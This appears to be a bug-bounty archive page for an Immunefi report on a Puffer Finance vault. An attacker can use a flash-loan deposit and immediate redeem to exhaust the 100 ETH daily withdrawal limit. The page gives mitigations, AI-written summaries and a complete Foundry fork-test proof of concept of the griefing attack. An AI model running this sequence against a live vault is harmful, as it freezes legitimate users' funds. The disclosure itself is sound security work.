Blocking redeemwithdraw from vault
The vault has a daily withdrawal limit of 100 ETH, and an attacker can deplete it by taking a flash loan, depositing, and immediately redeeming in the same transaction. This prevents legitimate users from withdrawing their funds for the rest of the day.
Originally disclosed on Immunefi
- Disclosed after under an hour
28656 - [SC - Insight] Blocking redeemwithdraw from vault
Submitted on Feb 23rd 2024 at 04:20:29 UTC by @DuckAstronomer for Boost | Puffer Finance
Report ID: #28656
Report type: Smart Contract
Report severity: Insight
Target: https://etherscan.io/address/0xd9a442856c234a39a81a089c06451ebaa4306a72
Impacts:
- Temporary freezing of funds for at least 1 hour
Description
Vulnerability Details
The attacker can deplete daily withdrawal limit by taking flash loan, making a deposit and an immediate withdrawal. There is no risks or fees involved for the attacker. This behavior prevents benign users from redeeming/withdrawing from the vault.
By default there is a 100 ETH daily limit for withdrawal.
function initialize() public reinitializer(2) {
// In this initialization, we swap out the underlying stETH with WETH
ERC4626Storage storage erc4626Storage = _getERC4626StorageInternal();
erc4626Storage._asset = _WETH;
_setDailyWithdrawalLimit(100 ether); // @audit
_updateDailyWithdrawals(0);
}
To mitigate the issue:
- Replenish the daily limit whenever a mint/deposit occur.
- Prohibit flash deposit-redeem actions taking place in one tx.
Proof of Concept
To run the PoC place the file inside test/Integration/Immunefi.fork.t.sol and run the following command.
ETH_RPC_URL=URL forge test --mp test/Integration/Immunefi.fork.t.sol --mt test_griefing --fork-url URL --fork-block-number 19285430
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.0 <0.9.0;
import { TestHelper } from "../TestHelper.sol";
import "forge-std/console.sol";
contract Immunefi is TestHelper {
error ERC4626ExceededMaxRedeem(address owner, uint256 shares, uint256 max);
// ETH_RPC_URL=URL forge test --mp test/Integration/Immunefi.fork.t.sol --mt test_griefing --fork-url URL --fork-block-number 19285430
function test_griefing() public {
address attacker = address(101);
address user = address(102);
vm.deal(user, 10 ether);
// 1. User deposits ETH.
vm.startPrank(user);
uint256 shares = pufferVault.depositETH{value: 10 ether}(user);
vm.stopPrank();
// 2. Attacker takes flash loan, deposits and then redeems.
// No loses/risks/fees for the attacker.
// Attacker depletes daily withdraw limit, which is 100 ETH by default.
vm.deal(attacker, 100 ether);
vm.startPrank(attacker);
uint256 shares_attacker = pufferVault.depositETH{value: 100 ether}(attacker);
pufferVault.redeem(shares_attacker, attacker, attacker);
vm.stopPrank();
// 3. No one can redeem/withdraw.
vm.startPrank(user);
vm.expectRevert(
abi.encodeWithSelector(ERC4626ExceededMaxRedeem.selector, user, shares, pufferVault.maxRedeem(user))
);
pufferVault.redeem(shares, user, user);
vm.stopPrank();
}
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the daily withdrawal limit is only consumed by withdrawals and not replenished by deposits, allowing a deposit-withdraw cycle to exhaust it.
Impact
Legitimate users are temporarily unable to redeem or withdraw their funds until the daily limit resets, causing a temporary freezing of funds for at least 1 hour.
What the attacker needed
Attacker can obtain a flash loan of at least 100 ETH; Victim has funds deposited in the vault
How it was found
- A user deposits 10 ETH into the vault.
- The attacker obtains a flash loan of 100 ETH.
- The attacker deposits the 100 ETH into the vault.
- The attacker immediately redeems all shares, consuming the daily withdrawal limit.
- The user's attempt to redeem fails because the limit is exhausted.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A vault lets people deposit and withdraw money, but it limits how much can be withdrawn each day to stay safe. An attacker can borrow a large amount temporarily (a flash loan), deposit it, and immediately withdraw it, using up the daily limit. Then normal users cannot take their money out until the next day.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.